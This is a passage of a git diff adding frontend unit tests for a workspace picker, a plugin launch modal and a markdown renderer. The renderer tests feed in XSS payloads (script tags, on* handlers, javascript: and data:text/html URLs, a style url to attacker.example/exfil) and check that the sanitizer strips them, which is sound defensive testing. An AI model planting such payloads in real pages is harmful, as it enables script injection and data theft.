+      window.sessionStorage.getItem(HOME_SELECTED_WORKSPACE_PATH_KEY),
+    ).toBeNull();
+    expect(screen.getByTestId("workspace-dropdown")).toHaveValue("");
+    expect(screen.getByTestId("workspace-launch-button")).toBeDisabled();
+  });
+
+  it("clears the selected parent-derived workspace when its parent is removed", async () => {
+    const removeParentSpy = vi
+      .spyOn(WorkspacesService, "removeWorkspaceParent")
+      .mockResolvedValue();
+    const workspaceParent = {
+      id: "/Users/me/dev",
+      name: "dev",
+      path: "/Users/me/dev",
+    };
+    const workspacePath = "/Users/me/dev/repo1";
+    mockSearchSubdirectories.mockImplementation(async (path: string) => {
+      if (path === workspaceParent.path) {
+        return {
+          items: [{ name: "repo1", path: workspacePath }],
+          next_page_id: null,
+        };
+      }
+      return { items: [], next_page_id: null };
+    });
+    renderForm({ workspaceParents: [workspaceParent] });
+    const user = userEvent.setup();
+
+    const selectionMenu = await openWorkspaceDropdown(user);
+    await user.click(await within(selectionMenu).findByText("repo1"));
+    await waitFor(() =>
+      expect(
+        window.sessionStorage.getItem(HOME_SELECTED_WORKSPACE_PATH_KEY),
+      ).toBe(workspacePath),
+    );
+
+    await openWorkspaceDropdown(user);
+    await user.click(await screen.findByTestId("manage-workspaces-button"));
+    await screen.findByTestId("manage-workspaces-modal");
+    await user.click(screen.getByTestId("manage-workspaces-remove-parent-dev"));
+    await screen.findByTestId("confirmation-modal");
+    await user.click(screen.getByTestId("confirm-button"));
+
+    await waitFor(() => expect(removeParentSpy).toHaveBeenCalledTimes(1));
+    expect(removeParentSpy).toHaveBeenCalledWith(workspaceParent.path);
+    expect(
+      window.sessionStorage.getItem(HOME_SELECTED_WORKSPACE_PATH_KEY),
+    ).toBeNull();
+    expect(screen.getByTestId("workspace-dropdown")).toHaveValue("");
+    expect(screen.getByTestId("workspace-launch-button")).toBeDisabled();
+  });
+
+  it("Add all subdirectories dispatches addWorkspaceParents to the agent-server", async () => {
+    // Arrange
+    const addParentsSpy = vi
+      .spyOn(WorkspacesService, "addWorkspaceParents")
+      .mockResolvedValue({ workspaces: [], workspaceParents: [] });
+    mockSearchSubdirectories.mockImplementation(async (path: string) => {
+      if (path === "/Users/me") {
+        return {
+          items: [{ name: "dev", path: "/Users/me/dev" }],
+          next_page_id: null,
+        };
+      }
+      return { items: [], next_page_id: null };
+    });
+    renderForm();
+    const user = userEvent.setup();
+
+    // Act
+    await user.click(await screen.findByTestId("workspace-dropdown"));
+    await user.click(await screen.findByTestId("add-workspaces-button"));
+    await screen.findByTestId("folder-browser-modal");
+    await user.click(await screen.findByTestId("folder-browser-entry-dev"));
+    await user.click(screen.getByTestId("folder-browser-add-all-subdirs"));
+
+    // Assert
+    await waitFor(() => expect(addParentsSpy).toHaveBeenCalledTimes(1));
+    expect(addParentsSpy).toHaveBeenCalledWith([
+      { id: "/Users/me/dev", name: "dev", path: "/Users/me/dev" },
+    ]);
+  });
+});
diff --git a/__tests__/components/features/launch/plugin-launch-modal.test.tsx b/__tests__/components/features/launch/plugin-launch-modal.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..8b78617fd2cad8697362f8abcfb6ff654cdce286
--- /dev/null
+++ b/__tests__/components/features/launch/plugin-launch-modal.test.tsx
@@ -0,0 +1,426 @@
+import { render, screen, waitFor } from "@testing-library/react";
+import { describe, it, expect, vi, beforeEach } from "vitest";
+import userEvent from "@testing-library/user-event";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { PluginLaunchModal } from "#/components/features/launch/plugin-launch-modal";
+import { PluginSpec } from "#/api/conversation-service/agent-server-conversation-service.types";
+
+const mockOnStartConversation = vi.fn();
+const mockOnClose = vi.fn();
+
+function renderModal(
+  plugins: PluginSpec[],
+  props: Partial<{
+    message: string;
+    isLoading: boolean;
+  }> = {},
+) {
+  const queryClient = new QueryClient({
+    defaultOptions: { queries: { retry: false } },
+  });
+
+  return render(
+    <QueryClientProvider client={queryClient}>
+      <PluginLaunchModal
+        plugins={plugins}
+        message={props.message}
+        isLoading={props.isLoading ?? false}
+        onStartConversation={mockOnStartConversation}
+        onClose={mockOnClose}
+      />
+    </QueryClientProvider>,
+  );
+}
+
+describe("PluginLaunchModal", () => {
+  beforeEach(() => {
+    vi.clearAllMocks();
+  });
+
+  describe("Plugin Display Name Extraction", () => {
+    it("should extract plugin name from repo_path when provided", () => {
+      renderModal([{ source: "github:owner/repo", repo_path: "plugins/my-plugin" }]);
+
+      // Plugin name should be "my-plugin" from the path
+      expect(screen.getByText("my-plugin")).toBeInTheDocument();
+    });
+
+    it("should show repo path when no repo_path (repo IS the plugin)", () => {
+      renderModal([{ source: "github:owner/my-plugin" }]);
+
+      // When no repo_path, the whole repo is the plugin, show "owner/my-plugin"
+      const elements = screen.getAllByText("owner/my-plugin");
+      expect(elements.length).toBeGreaterThan(0);
+    });
+
+    it("should extract name from git URL", () => {
+      renderModal([
+        { source: "https://github.com/owner/repo-name.git" },
+      ]);
+
+      const elements = screen.getAllByText("repo-name");
+      expect(elements.length).toBeGreaterThan(0);
+    });
+
+    it("should display full source when no special format", () => {
+      renderModal([{ source: "local-plugin" }]);
+
+      const elements = screen.getAllByText("local-plugin");
+      expect(elements.length).toBeGreaterThan(0);
+    });
+  });
+
+  describe("Modal Title", () => {
+    it("should show plugin name in title for single plugin", () => {
+      renderModal([{ source: "github:owner/awesome-plugin" }]);
+
+      // Title should include the plugin name - use getAllBy since text appears in multiple places
+      const elements = screen.getAllByText(/owner\/awesome-plugin/);
+      expect(elements.length).toBeGreaterThan(0);
+    });
+
+    it("should show generic title for multiple plugins", () => {
+      renderModal([
+        { source: "github:owner/plugin1" },
+        { source: "github:owner/plugin2" },
+      ]);
+
+      // The h2 title contains both LAUNCH$MODAL_TITLE and LAUNCH$MODAL_TITLE_GENERIC
+      const title = screen.getByRole("heading", { level: 2 });
+      expect(title.textContent).toContain("LAUNCH$MODAL_TITLE_GENERIC");
+    });
+  });
+
+  describe("Message Display", () => {
+    it("should display message when provided", () => {
+      renderModal([{ source: "github:owner/repo" }], {
+        message: "This is a custom message",
+      });
+
+      expect(screen.getByText("This is a custom message")).toBeInTheDocument();
+    });
+
+    it("should not render message element when not provided", () => {
+      renderModal([{ source: "github:owner/repo" }]);
+
+      // No message should be present
+      const modal = screen.getByTestId("plugin-launch-modal");
+      expect(modal.querySelector("p.text-neutral-400")).not.toBeInTheDocument();
+    });
+  });
+
+  describe("Expandable Sections", () => {
+    it("should expand plugin section by default when it has parameters", () => {
+      renderModal([
+        {
+          source: "github:owner/repo",
+          parameters: { apiKey: "test-key" },
+        },
+      ]);
+
+      // Parameter input should be visible (section is expanded)
+      expect(screen.getByTestId("plugin-0-param-apiKey")).toBeInTheDocument();
+    });
+
+    it("should collapse/expand section when clicking header", async () => {
+      const user = userEvent.setup();
+      renderModal([
+        {
+          source: "github:owner/repo",
+          parameters: { apiKey: "test-key" },
+        },
+      ]);
+
+      // Initially expanded - parameter visible
+      expect(screen.getByTestId("plugin-0-param-apiKey")).toBeInTheDocument();
+
+      // Click to collapse
+      await user.click(screen.getByTestId("plugin-section-0"));
+
+      // Parameter should be hidden
+      await waitFor(() => {
+        expect(
+          screen.queryByTestId("plugin-0-param-apiKey"),
+        ).not.toBeInTheDocument();
+      });
+
+      // Click to expand again
+      await user.click(screen.getByTestId("plugin-section-0"));
+
+      // Parameter should be visible again
+      await waitFor(() => {
+        expect(screen.getByTestId("plugin-0-param-apiKey")).toBeInTheDocument();
+      });
+    });
+  });
+
+  describe("Parameter Inputs", () => {
+    it("should render text input for string parameters", () => {
+      renderModal([
+        {
+          source: "github:owner/repo",
+          parameters: { name: "default-name" },
+        },
+      ]);
+
+      const input = screen.getByTestId("plugin-0-param-name");
+      expect(input).toHaveAttribute("type", "text");
+      expect(input).toHaveValue("default-name");
+    });
+
+    it("should render number input for number parameters", () => {
+      renderModal([
+        {
+          source: "github:owner/repo",
+          parameters: { count: 42 },
+        },
+      ]);
+
+      const input = screen.getByTestId("plugin-0-param-count");
+      expect(input).toHaveAttribute("type", "number");
+      expect(input).toHaveValue(42);
+    });
+
+    it("should render checkbox for boolean parameters", () => {
+      renderModal([
+        {
+          source: "github:owner/repo",
+          parameters: { enabled: true },
+        },
+      ]);
+
+      const checkbox = screen.getByTestId("plugin-0-param-enabled");
+      expect(checkbox).toHaveAttribute("type", "checkbox");
+      expect(checkbox).toBeChecked();
+    });
+
+    it("should update string parameter value when typing", async () => {
+      const user = userEvent.setup();
+      renderModal([
+        {
+          source: "github:owner/repo",
+          parameters: { apiKey: "initial" },
+        },
+      ]);
+
+      const input = screen.getByTestId("plugin-0-param-apiKey");
+      await user.clear(input);
+      await user.type(input, "new-value");
+
+      expect(input).toHaveValue("new-value");
+    });
+
+    it("should update number parameter value when typing", async () => {
+      const user = userEvent.setup();
+      renderModal([
+        {
+          source: "github:owner/repo",
+          parameters: { count: 5 },
+        },
+      ]);
+
+      const input = screen.getByTestId("plugin-0-param-count");
+      await user.clear(input);
+      await user.type(input, "100");
+
+      expect(input).toHaveValue(100);
+    });
+
+    it("should toggle boolean parameter when clicking checkbox", async () => {
+      const user = userEvent.setup();
+      renderModal([
+        {
+          source: "github:owner/repo",
+          parameters: { debug: false },
+        },
+      ]);
+
+      const checkbox = screen.getByTestId("plugin-0-param-debug");
+      expect(checkbox).not.toBeChecked();
+
+      await user.click(checkbox);
+
+      expect(checkbox).toBeChecked();
+    });
+  });
+
+  describe("Ref and Path Display", () => {
+    it("should display ref when provided", async () => {
+      renderModal([
+        {
+          source: "github:owner/repo",
+          ref: "v1.2.3",
+          parameters: { key: "value" },
+        },
+      ]);
+
+      // Check the expanded section contains the ref value
+      const modal = screen.getByTestId("plugin-launch-modal");
+      expect(modal.textContent).toContain("v1.2.3");
+    });
+
+    it("should display repo_path when provided", () => {
+      renderModal([
+        {
+          source: "github:owner/repo",
+          repo_path: "plugins/my-plugin",
+          parameters: { key: "value" },
+        },
+      ]);
+
+      // Check the expanded section contains the path value
+      const modal = screen.getByTestId("plugin-launch-modal");
+      expect(modal.textContent).toContain("plugins/my-plugin");
+    });
+  });
+
+  describe("Plugins Without Parameters", () => {
+    it("should show plugins list when all plugins have no parameters", () => {
+      renderModal([
+        { source: "github:owner/plugin1" },
+        { source: "github:owner/plugin2" },
+      ]);
+
+      expect(screen.getByText("LAUNCH$PLUGINS")).toBeInTheDocument();
+      // When no repo_path, the full repo path is shown (may appear multiple times)
+      expect(screen.getAllByText("owner/plugin1").length).toBeGreaterThan(0);
+      expect(screen.getAllByText("owner/plugin2").length).toBeGreaterThan(0);
+    });
+
+    it("should show 'Additional Plugins' when mixing plugins with and without params", () => {
+      renderModal([
+        { source: "github:owner/with-params", parameters: { key: "val" } },
+        { source: "github:owner/without-params" },
+      ]);
+
+      expect(screen.getByText("LAUNCH$ADDITIONAL_PLUGINS")).toBeInTheDocument();
+      // When no repo_path, the full repo path is shown
+      expect(screen.getAllByText("owner/without-params").length).toBeGreaterThan(0);
+    });
+
+    it("should show ref in simple plugin list", () => {
+      renderModal([
+        { source: "github:owner/plugin", ref: "main" },
+      ]);
+
+      expect(screen.getByText("@ main")).toBeInTheDocument();
+    });
+
+    it("should show repo_path in simple plugin list", () => {
+      renderModal([
+        { source: "github:owner/repo", repo_path: "plugins/city-weather" },
+      ]);
+
+      // Should show the plugin name
+      expect(screen.getByText("city-weather")).toBeInTheDocument();
+      // Should show the source info with path
+      const modal = screen.getByTestId("plugin-launch-modal");
+      expect(modal.textContent).toContain("owner/repo");
+      expect(modal.textContent).toContain("plugins/city-weather");
+    });
+  });
+
+  describe("Action Buttons", () => {
+    it("should call onClose when close button is clicked", async () => {
+      const user = userEvent.setup();
+      renderModal([{ source: "github:owner/repo" }]);
+
+      await user.click(screen.getByTestId("close-button"));
+
+      expect(mockOnClose).toHaveBeenCalledTimes(1);
+    });
+
+    it("should call onStartConversation with updated plugins when start button is clicked", async () => {
+      const user = userEvent.setup();
+      renderModal([
+        {
+          source: "github:owner/repo",
+          ref: "main",
+          parameters: { apiKey: "initial" },
+        },
+      ]);
+
+      // Update the parameter
+      const input = screen.getByTestId("plugin-0-param-apiKey");
+      await user.clear(input);
+      await user.type(input, "updated-key");
+
+      // Check the trust checkbox first
+      await user.click(screen.getByTestId("trust-checkbox"));
+
+      // Click start
+      await user.click(screen.getByTestId("start-conversation-button"));
+
+      expect(mockOnStartConversation).toHaveBeenCalledTimes(1);
+      const calledWithPlugins = mockOnStartConversation.mock.calls[0][0];
+      const calledWithMessage = mockOnStartConversation.mock.calls[0][1];
+      expect(calledWithPlugins[0].source).toBe("github:owner/repo");
+      expect(calledWithPlugins[0].ref).toBe("main");
+      expect(calledWithPlugins[0].parameters.apiKey).toBe("updated-key");
+      expect(calledWithMessage).toBeUndefined();
+    });
+
+    it("should call onStartConversation with message when provided", async () => {
+      const user = userEvent.setup();
+      renderModal(
+        [{ source: "github:owner/repo" }],
+        { message: "/city-weather:now Tokyo" },
+      );
+
+      // Check the trust checkbox first
+      await user.click(screen.getByTestId("trust-checkbox"));
+
+      await user.click(screen.getByTestId("start-conversation-button"));
+
+      expect(mockOnStartConversation).toHaveBeenCalledTimes(1);
+      const calledWithPlugins = mockOnStartConversation.mock.calls[0][0];
+      const calledWithMessage = mockOnStartConversation.mock.calls[0][1];
+      expect(calledWithPlugins[0].source).toBe("github:owner/repo");
+      expect(calledWithMessage).toBe("/city-weather:now Tokyo");
+    });
+
+    it("should show 'Starting...' text when loading", () => {
+      renderModal([{ source: "github:owner/repo" }], { isLoading: true });
+
+      expect(screen.getByText("LAUNCH$STARTING")).toBeInTheDocument();
+    });
+
+    it("should disable start button when loading", () => {
+      renderModal([{ source: "github:owner/repo" }], { isLoading: true });
+
+      expect(screen.getByTestId("start-conversation-button")).toBeDisabled();
+    });
+  });
+
+  describe("Multiple Plugins with Parameters", () => {
+    it("should render multiple expandable sections for plugins with parameters", () => {
+      renderModal([
+        { source: "github:owner/plugin1", parameters: { key1: "val1" } },
+        { source: "github:owner/plugin2", parameters: { key2: "val2" } },
+      ]);
+
+      expect(screen.getByTestId("plugin-section-0")).toBeInTheDocument();
+      expect(screen.getByTestId("plugin-section-1")).toBeInTheDocument();
+    });
+
+    it("should maintain separate state for each plugin's parameters", async () => {
+      const user = userEvent.setup();
+      renderModal([
+        { source: "github:owner/plugin1", parameters: { key1: "val1" } },
+        { source: "github:owner/plugin2", parameters: { key2: "val2" } },
+      ]);
+
+      // Update first plugin's parameter
+      const input1 = screen.getByTestId("plugin-0-param-key1");
+      await user.clear(input1);
+      await user.type(input1, "new-val1");
+
+      // Second plugin's parameter should be unchanged
+      const input2 = screen.getByTestId("plugin-1-param-key2");
+      expect(input2).toHaveValue("val2");
+
+      // First plugin should have new value
+      expect(input1).toHaveValue("new-val1");
+    });
+  });
+});
diff --git a/__tests__/components/features/markdown/code.test.tsx b/__tests__/components/features/markdown/code.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..c5ba1562af036d93688ee2d6ed4d671e454d4bdd
--- /dev/null
+++ b/__tests__/components/features/markdown/code.test.tsx
@@ -0,0 +1,37 @@
+import { render, screen, waitFor } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { describe, it, expect } from "vitest";
+import { code as Code } from "#/components/features/markdown/code";
+
+describe("code (markdown)", () => {
+  it("should render inline code without a copy button", () => {
+    render(<Code>inline snippet</Code>);
+
+    expect(screen.getByText("inline snippet")).toBeInTheDocument();
+    expect(screen.queryByTestId("copy-to-clipboard")).not.toBeInTheDocument();
+  });
+
+  it("should render a multiline code block with a copy button", () => {
+    render(<Code>{"line1\nline2"}</Code>);
+
+    expect(screen.getByText("line1 line2")).toBeInTheDocument();
+    expect(screen.getByTestId("copy-to-clipboard")).toBeInTheDocument();
+  });
+
+  it("should render a syntax-highlighted block with a copy button", () => {
+    render(<Code className="language-js">{"console.log('hi')"}</Code>);
+
+    expect(screen.getByTestId("copy-to-clipboard")).toBeInTheDocument();
+  });
+
+  it("should copy code block content to clipboard", async () => {
+    const user = userEvent.setup();
+    render(<Code>{"line1\nline2"}</Code>);
+
+    await user.click(screen.getByTestId("copy-to-clipboard"));
+
+    await waitFor(() =>
+      expect(navigator.clipboard.readText()).resolves.toBe("line1\nline2"),
+    );
+  });
+});
diff --git a/__tests__/components/features/markdown/markdown-renderer.test.tsx b/__tests__/components/features/markdown/markdown-renderer.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..6b10981f0207550b50feb36f27f4031d2c6480c8
--- /dev/null
+++ b/__tests__/components/features/markdown/markdown-renderer.test.tsx
@@ -0,0 +1,335 @@
+import { render, screen } from "@testing-library/react";
+import { describe, it, expect } from "vitest";
+import { sanitize } from "hast-util-sanitize";
+import type { Element, Root } from "hast";
+
+import {
+  MarkdownRenderer,
+  MARKDOWN_SANITIZE_SCHEMA,
+} from "#/components/features/markdown/markdown-renderer";
+
+describe("MarkdownRenderer", () => {
+  it("renders GFM tables (a GFM-only feature)", () => {
+    const md = [
+      "| Col A | Col B |",
+      "| ----- | ----- |",
+      "| 1     | 2     |",
+    ].join("\n");
+
+    const { container } = render(<MarkdownRenderer>{md}</MarkdownRenderer>);
+
+    const table = container.querySelector("table");
+    expect(table).not.toBeNull();
+    expect(container.querySelectorAll("th")).toHaveLength(2);
+    expect(container.querySelectorAll("td")).toHaveLength(2);
+  });
+
+  it("renders GFM strikethrough", () => {
+    const { container } = render(
+      <MarkdownRenderer>{"~~struck~~ word"}</MarkdownRenderer>,
+    );
+    expect(container.querySelector("del")).not.toBeNull();
+    expect(screen.getByText("struck").tagName.toLowerCase()).toBe("del");
+  });
+
+  it("renders GFM task list checkboxes", () => {
+    const md = ["- [x] done", "- [ ] todo"].join("\n");
+    const { container } = render(<MarkdownRenderer>{md}</MarkdownRenderer>);
+    const checkboxes = container.querySelectorAll('input[type="checkbox"]');
+    expect(checkboxes).toHaveLength(2);
+    expect((checkboxes[0] as HTMLInputElement).checked).toBe(true);
+    expect((checkboxes[1] as HTMLInputElement).checked).toBe(false);
+  });
+
+  it("renders inline HTML embedded in markdown", () => {
+    const md = "Hello <mark>world</mark> and <kbd>Ctrl+C</kbd>";
+    const { container } = render(<MarkdownRenderer>{md}</MarkdownRenderer>);
+    expect(container.querySelector("mark")?.textContent).toBe("world");
+    expect(container.querySelector("kbd")?.textContent).toBe("Ctrl+C");
+  });
+
+  it("renders <details>/<summary> for collapsible sections", () => {
+    const md = [
+      "<details>",
+      "<summary>Show more</summary>",
+      "",
+      "Hidden content",
+      "</details>",
+    ].join("\n");
+    const { container } = render(<MarkdownRenderer>{md}</MarkdownRenderer>);
+    expect(container.querySelector("details")).not.toBeNull();
+    expect(container.querySelector("summary")?.textContent).toBe("Show more");
+  });
+
+  it("strips <script> tags via rehype-sanitize", () => {
+    const md = "Hello<script>window.__pwn = true;</script> world";
+    const { container } = render(<MarkdownRenderer>{md}</MarkdownRenderer>);
+    expect(container.querySelector("script")).toBeNull();
+    // The text content surrounding the script must still be there.
+    expect(container.textContent).toContain("Hello");
+    expect(container.textContent).toContain("world");
+  });
+
+  it("strips inline event handlers (onclick, etc.) via rehype-sanitize", () => {
+    const md = '<button onclick="window.__pwn=true">Click me</button>';
+    const { container } = render(<MarkdownRenderer>{md}</MarkdownRenderer>);
+    const button = container.querySelector("button");
+    // The element itself may pass through (it's a normal HTML button) but
+    // the onclick attribute must be gone.
+    if (button) {
+      expect(button.getAttribute("onclick")).toBeNull();
+    }
+  });
+
+  it("strips javascript: URLs in anchor hrefs", () => {
+    // Use raw HTML so we test the sanitizer end-to-end (markdown's own
+    // link syntax escapes this differently).
+    const md = '<a href="javascript:alert(1)">click</a>';
+    const { container } = render(<MarkdownRenderer>{md}</MarkdownRenderer>);
+    const anchor = container.querySelector("a");
+    // Two acceptable sanitize outcomes:
+    //   (1) the anchor is stripped entirely → `anchor === null`,
+    //   (2) the anchor survives but its dangerous href was dropped.
+    // What's NOT acceptable is keeping the javascript: URL. Assert
+    // explicitly in both branches so we never accidentally pass on a
+    // sanitizer that smuggles the link through unmodified by removing
+    // the surrounding wrapper (in which case the `if (anchor)` check
+    // would short-circuit silently).
+    if (anchor === null) {
+      // Sanitizer dropped the anchor entirely — verifiably safe.
+      expect(anchor).toBeNull();
+    } else {
+      expect(anchor.getAttribute("href") ?? "").not.toMatch(/^javascript:/i);
+    }
+  });
+
+  it("does not honor `style` attributes (CSS-injection class of attacks)", () => {
+    // CSS can be a side channel for data exfiltration
+    // (`background-image: url("https://attacker.example/?cookie=…")`) or
+    // for clickjacking/UI redress (`position: fixed; top: 0; …`). Our
+    // schema deliberately omits `style` from the allowed attribute list
+    // so the sanitizer drops it.
+    const md =
+      "<div style=\"background:url('https://attacker.example/exfil')\">x</div>";
+    const { container } = render(<MarkdownRenderer>{md}</MarkdownRenderer>);
+    const div = container.querySelector("div");
+    expect(div).not.toBeNull();
+    // The style attribute must be gone (or at minimum not contain the
+    // attacker URL).
+    expect(div?.getAttribute("style") ?? "").not.toMatch(/attacker\.example/i);
+    expect(div?.getAttribute("style")).toBeNull();
+  });
+
+  it("blocks data:text/html URLs in img src", () => {
+    // `data:` covers arbitrary mime types, not just images — allowing
+    // it on `<img src>` would let an authored doc round-trip an HTML
+    // document with no schema validation. Our protocol allow-list for
+    // src is restricted to http(s).
+    const md = '<img src="data:text/html,<script>alert(1)</script>" alt="x">';
+    const { container } = render(<MarkdownRenderer>{md}</MarkdownRenderer>);
+    const img = container.querySelector("img");
+    // The sanitizer may either drop src entirely or drop the whole tag —
+    // either way the data:text/html URL must not survive.
+    expect(img?.getAttribute("src") ?? "").not.toMatch(/^data:/i);
+  });
+
+  it("strips other inline event handlers (onerror, onload, onmouseover)", () => {
+    const cases = [
+      '<img src="https://example.com/x.png" onerror="window.__pwn=1">',
+      '<div onmouseover="window.__pwn=1">hover</div>',
+      '<a href="https://example.com" onfocus="window.__pwn=1">link</a>',
+    ];
+    for (const md of cases) {
+      const { container } = render(<MarkdownRenderer>{md}</MarkdownRenderer>);
+      // Whichever tag survived must not carry an on* handler attribute.
+      const element = container.querySelector("img, div, a");
+      if (element) {
+        for (const attr of element.getAttributeNames()) {
+          expect(attr.toLowerCase()).not.toMatch(/^on/);
+        }
+      }
+    }
+  });
+
+  it("keeps http(s) and mailto: URLs intact", () => {
+    const md =
+      "[external](https://example.com) and [mail](mailto:a@example.com)";
+    const { container } = render(<MarkdownRenderer>{md}</MarkdownRenderer>);
+    const anchors = container.querySelectorAll("a");
+    const hrefs = Array.from(anchors).map((a) => a.getAttribute("href"));
+    expect(hrefs).toContain("https://example.com");
+    expect(hrefs).toContain("mailto:a@example.com");
+  });
+
+  it("drops <iframe> tags (not in the allow-list)", () => {
+    const md = '<iframe src="https://evil.example.com"></iframe>';
+    const { container } = render(<MarkdownRenderer>{md}</MarkdownRenderer>);
+    expect(container.querySelector("iframe")).toBeNull();
+  });
+
+  it("strips raw HTML when allowHtml=false", () => {
+    const md = "Hello <mark>world</mark>";
+    const { container } = render(
+      <MarkdownRenderer allowHtml={false}>{md}</MarkdownRenderer>,
+    );
+    // <mark> should not be parsed; the text should still appear.
+    expect(container.querySelector("mark")).toBeNull();
+    expect(container.textContent).toContain("world");
+  });
+
+  describe("GitHub-style alert blockquotes", () => {
+    const ALERT_CASES: Array<{ marker: string; label: string }> = [
+      { marker: "NOTE", label: "Note" },
+      { marker: "TIP", label: "Tip" },
+      { marker: "IMPORTANT", label: "Important" },
+      { marker: "WARNING", label: "Warning" },
+      { marker: "CAUTION", label: "Caution" },
+    ];
+
+    it.each(ALERT_CASES)(
+      "renders the $marker alert with title and body",
+      ({ marker, label }) => {
+        const md = [`> [!${marker}]`, "> Body content for the alert."].join(
+          "\n",
+        );
+        const { container } = render(<MarkdownRenderer>{md}</MarkdownRenderer>);
+
+        const alert = screen.getByTestId(
+          `markdown-alert-${marker.toLowerCase()}`,
+        );
+        expect(alert).not.toBeNull();
+        // Title label must appear and the original `[!TYPE]` marker must not.
+        expect(alert.textContent).toContain(label);
+        expect(alert.textContent).toContain("Body content for the alert.");
+        expect(alert.textContent).not.toContain(`[!${marker}]`);
+        // The styled alert is rendered as a <div>, not a <blockquote>.
+        expect(container.querySelector("blockquote")).toBeNull();
+      },
+    );
+
+    it("accepts the marker with lowercase casing", () => {
+      const md = ["> [!warning]", "> mixed-case body"].join("\n");
+      render(<MarkdownRenderer>{md}</MarkdownRenderer>);
+      const alert = screen.getByTestId("markdown-alert-warning");
+      expect(alert.textContent).toContain("Warning");
+      expect(alert.textContent).toContain("mixed-case body");
+    });
+
+    it("renders the linked-issue example end-to-end", () => {
+      // The exact snippet from the bug report.
+      const md = [
+        "> [!WARNING]",
+        "> This project is in sandbox phase. It may be vibecoded, untested, or out of date. OpenHands takes no responsibility for the code or its support. [Learn more](https://github.com/OpenHands/incubator-program).",
+      ].join("\n");
+
+      render(<MarkdownRenderer includeStandard>{md}</MarkdownRenderer>);
+
+      const alert = screen.getByTestId("markdown-alert-warning");
+      expect(alert.textContent).toContain("Warning");
+      expect(alert.textContent).toContain("This project is in sandbox phase.");
+      expect(alert.textContent).not.toContain("[!WARNING]");
+      // The inline link inside the alert body still renders as an anchor.
+      const link = alert.querySelector("a");
+      expect(link?.getAttribute("href")).toBe(
+        "https://github.com/OpenHands/incubator-program",
+      );
+    });
+
+    it("leaves regular blockquotes (no [!TYPE] marker) as <blockquote>", () => {
+      const md = ["> Just a normal quote.", "> Second line."].join("\n");
+      const { container } = render(<MarkdownRenderer>{md}</MarkdownRenderer>);
+      expect(container.querySelector("blockquote")).not.toBeNull();
+      expect(screen.queryByTestId(/^markdown-alert-/)).toBeNull();
+    });
+
+    it("does not treat unknown alert types as alerts", () => {
+      const md = ["> [!UNKNOWN]", "> body"].join("\n");
+      const { container } = render(<MarkdownRenderer>{md}</MarkdownRenderer>);
+      expect(screen.queryByTestId(/^markdown-alert-/)).toBeNull();
+      // Falls back to a regular blockquote that still contains the literal
+      // marker text so the user can see what they wrote.
+      const bq = container.querySelector("blockquote");
+      expect(bq).not.toBeNull();
+      expect(bq?.textContent).toContain("[!UNKNOWN]");
+    });
+
+    it("survives rehype-sanitize (className passes through unchanged)", () => {
+      // Regression guard: if a future schema change strips className from
+      // the blockquote, the renderer would fall back to a plain blockquote
+      // and the test-id would disappear.
+      const md = ["> [!WARNING]", "> sanitized body"].join("\n");
+      render(<MarkdownRenderer>{md}</MarkdownRenderer>);
+      expect(screen.getByTestId("markdown-alert-warning")).not.toBeNull();
+    });
+  });
+});
+
+// Direct tests against MARKDOWN_SANITIZE_SCHEMA. End-to-end
+// MarkdownRenderer tests can't reach these because our custom `anchor`
+// component always hard-codes target/rel — so even a buggy schema (one
+// that strips `rel` from HAST) would still produce a safe-looking final
+// `<a>`. We run `hast-util-sanitize` directly on hand-built HAST trees
+// to assert what the schema does and doesn't pass through.
+describe("MARKDOWN_SANITIZE_SCHEMA", () => {
+  function makeAnchor(properties: Record<string, unknown>): Root {
+    return {
+      type: "root",
+      children: [
+        {
+          type: "element",
+          tagName: "a",
+          properties,
+          children: [{ type: "text", value: "link" }],
+        } as Element,
+      ],
+    };
+  }
+
+  function firstAnchor(tree: Root): Element | null {
+    const node = tree.children[0];
+    return node && node.type === "element" ? (node as Element) : null;
+  }
+
+  it("preserves space-separated rel values on raw HTML anchors (regression for fc208bc)", () => {
+    // The old schema used `["rel", "noopener", "noreferrer", "nofollow"]`,
+    // which is rehype-sanitize's "exact match against allowed values"
+    // form — it would reject `rel="noopener noreferrer"` (the canonical
+    // safe-link incantation) because the *combined* string isn't in the
+    // allowed-values list. With the fix this test must pass: rel is
+    // preserved verbatim.
+    const tree = sanitize(
+      makeAnchor({
+        href: "https://example.com",
+        target: "_blank",
+        rel: "noopener noreferrer",
+      }),
+      MARKDOWN_SANITIZE_SCHEMA,
+    ) as Root;
+
+    const a = firstAnchor(tree);
+    expect(a).not.toBeNull();
+    // hast-util-sanitize stores `rel` as an array of tokens; reassemble.
+    const relProp = a?.properties?.rel;
+    const rel = Array.isArray(relProp) ? relProp.join(" ") : relProp;
+    expect(rel).toBe("noopener noreferrer");
+    expect(a?.properties?.target).toBe("_blank");
+    expect(a?.properties?.href).toBe("https://example.com");
+  });
+
+  it("preserves rel even when it carries unusual but-safe tokens like `nofollow ugc`", () => {
+    // `rel` keywords never execute code or navigate, so allowing any
+    // value is safe. This locks that property in.
+    const tree = sanitize(
+      makeAnchor({
+        href: "https://example.com",
+        rel: "nofollow ugc",
+      }),
+      MARKDOWN_SANITIZE_SCHEMA,
+    ) as Root;
+
+    const a = firstAnchor(tree);
+    const relProp = a?.properties?.rel;
+    const rel = Array.isArray(relProp) ? relProp.join(" ") : relProp;
+    expect(rel).toBe("nofollow ugc");
+  });
+});
diff --git a/__tests__/components/features/markdown/markdown-table-scroll.test.tsx b/__tests__/components/features/markdown/markdown-table-scroll.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..b6898393bfe57e15600605ce30f462d4f2dd2ffc
--- /dev/null
+++ b/__tests__/components/features/markdown/markdown-table-scroll.test.tsx
@@ -0,0 +1,132 @@
+import { render, screen, fireEvent } from "@testing-library/react";
+import { describe, it, expect, vi, beforeEach, afterEach } from "vitest";
+import {
+  MarkdownTableScroll,
+  readScrollFadeState,
+} from "#/components/features/markdown/markdown-table-scroll";
+
+function mockScrollMetrics(
+  element: HTMLElement,
+  metrics: { scrollWidth: number; clientWidth: number; scrollLeft: number },
+) {
+  Object.defineProperty(element, "scrollWidth", {
+    configurable: true,
+    value: metrics.scrollWidth,
+  });
+  Object.defineProperty(element, "clientWidth", {
+    configurable: true,
+    value: metrics.clientWidth,
+  });
+  Object.defineProperty(element, "scrollLeft", {
+    configurable: true,
+    writable: true,
